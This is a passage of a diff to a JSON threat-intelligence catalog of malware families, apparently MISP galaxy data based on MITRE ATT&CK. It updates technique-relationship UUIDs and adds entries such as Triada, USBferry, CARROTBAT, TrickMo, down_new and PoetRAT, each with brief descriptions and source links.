], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25389,21 +28690,21 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25445,14 +28746,14 @@ "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25466,7 +28767,14 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25476,6 +28784,89 @@ "uuid": "f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", "value": "Comnie - S0244" }, + { + "description": "[Triada](https://attack.mitre.org/software/S0424) was first reported in 2016 as a second stage malware. Later versions in 2019 appeared with new techniques and as an initial downloader of other Trojan apps.(Citation: Kaspersky Triada March 2016)", + "meta": { + "external_id": "S0424", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S0424", + "https://www.kaspersky.com/blog/triada-trojan/11481/" + ], + "synonyms": [ + "Triada" + ] + }, + "related": [ + { + "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "039bc59c-ecc7-4997-b2b4-4ab728bd91aa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3b936a4-6321-4172-9114-038a866362ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "f082fc59-0317-49cf-971f-a1b6296ebb52", + "value": "Triada - S0424" + }, { "description": "[BADCALL](https://attack.mitre.org/software/S0245) is a Trojan malware variant used by the group [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT BADCALL)", "meta": { @@ -25521,14 +28912,14 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25540,6 +28931,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "9dbdadb6-fdbf-490f-a35f-38762d06a0d2", @@ -25590,21 +28995,21 @@ "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25618,7 +29023,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25635,6 +29040,159 @@ "uuid": "21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", "value": "PLAINTEE - S0254" }, + { + "description": "[USBferry](https://attack.mitre.org/software/S0452) is an information stealing malware and has been used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) in targeted attacks against Taiwanese and Philippine air-gapped military environments. [USBferry](https://attack.mitre.org/software/S0452) shares an overlapping codebase with [YAHOYAH](https://attack.mitre.org/software/S0388), though it has several features which makes it a distinct piece of malware.(Citation: TrendMicro Tropic Trooper May 2020)", + "meta": { + "external_id": "S0452", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0452", + "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf" + ], + "synonyms": [ + "USBferry" + ] + }, + "related": [ + { + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "75bba379-4ba1-467e-8c60-ec2b269ee984", + "value": "USBferry - S0452" + }, + { + "description": "[CARROTBAT](https://attack.mitre.org/software/S0462) is a customized dropper that has been in use since at least 2017. [CARROTBAT](https://attack.mitre.org/software/S0462) has been used to install [SYSCON](https://attack.mitre.org/software/S0464) and has infrastructure overlap with [KONNI](https://attack.mitre.org/software/S0356).(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)", + "meta": { + "external_id": "S0462", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0462", + "https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/", + "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/" + ], + "synonyms": [ + "CARROTBAT" + ] + }, + "related": [ + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "1b9f0800-035e-4ed1-9648-b18294cc5bc8", + "value": "CARROTBAT - S0462" + }, { "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) is a Trojan malware variant reportedly used by the North Korean government. (Citation: US-CERT HARDRAIN March 2018)", "meta": { @@ -25659,21 +29217,21 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25685,6 +29243,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "bd0536d7-b081-43ae-a773-cfb057c5b988", @@ -25715,63 +29280,63 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25827,7 +29392,14 @@ "type": "uses" }, { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25861,14 +29433,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25882,14 +29454,14 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25902,13 +29474,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "tags": [ @@ -25917,7 +29482,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25945,14 +29510,14 @@ }, "related": [ { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25966,14 +29531,14 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9e09ddb2-1746-4448-9cad-7f8b41777d6d", + "dest-uuid": "1eaebf46-e361-4437-bc23-d5d65a3b92e3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25994,7 +29559,7 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26008,14 +29573,7 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26029,14 +29587,14 @@ "type": "uses" }, { - "dest-uuid": "53bfc8bf-8f76-4cd7-8958-49a884ddb3ee", + "dest-uuid": "810aa4ad-61c9-49cb-993f-daa06199421d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26050,7 +29608,14 @@ "type": "uses" }, { - "dest-uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "dest-uuid": "a2029942-0a85-4947-b23c-ca434698171d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26060,6 +29625,591 @@ "uuid": "b8fdef82-d2cf-4948-8949-6466357b1be1", "value": "Calisto - S0274" }, + { + "description": "[TrickMo](https://attack.mitre.org/software/S0427) a 2FA bypass mobile banking trojan, most likely being distributed by [TrickBot](https://attack.mitre.org/software/S0266). [TrickMo](https://attack.mitre.org/software/S0427) has been primarily targeting users located in Germany.(Citation: SecurityIntelligence TrickMo)\n\n[TrickMo](https://attack.mitre.org/software/S0427) is designed to steal transaction authorization numbers (TANs), which are typically used as one-time passwords.(Citation: SecurityIntelligence TrickMo) ", + "meta": { + "external_id": "S0427", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S0427", + "https://securityintelligence.com/posts/trickbot-pushing-a-2fa-bypass-app-to-bank-customers-in-germany/" + ], + "synonyms": [ + "TrickMo" + ] + }, + "related": [ + { + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1f1337e-aea7-454c-86bd-482a98ffaf62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "21170624-89db-4e99-bf27-58d26be07c3a", + "value": "TrickMo - S0427" + }, + { + "description": " [down_new](https://attack.mitre.org/software/S0472) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)", + "meta": { + "external_id": "S0472", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0472", + "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf" + ], + "synonyms": [ + "down_new" + ] + }, + "related": [ + { + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "8be7c69e-d8e3-4970-9668-61de08e508cc", + "value": "down_new - S0472" + }, + { + "description": "[PoetRAT](https://attack.mitre.org/software/S0428) is a Python-based remote access trojan (RAT) used in multiple campaigns against the private and public sectors in Azerbaijan, specifically ICS and SCADA systems in the energy sector. [PoetRAT](https://attack.mitre.org/software/S0428) derived its name from references in the code to poet William Shakespeare.(Citation: Talos PoetRAT April 2020) ", + "meta": { + "external_id": "S0428", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0428", + "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html" + ], + "synonyms": [ + "PoetRAT" + ] + }, + "related": [ + { + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + 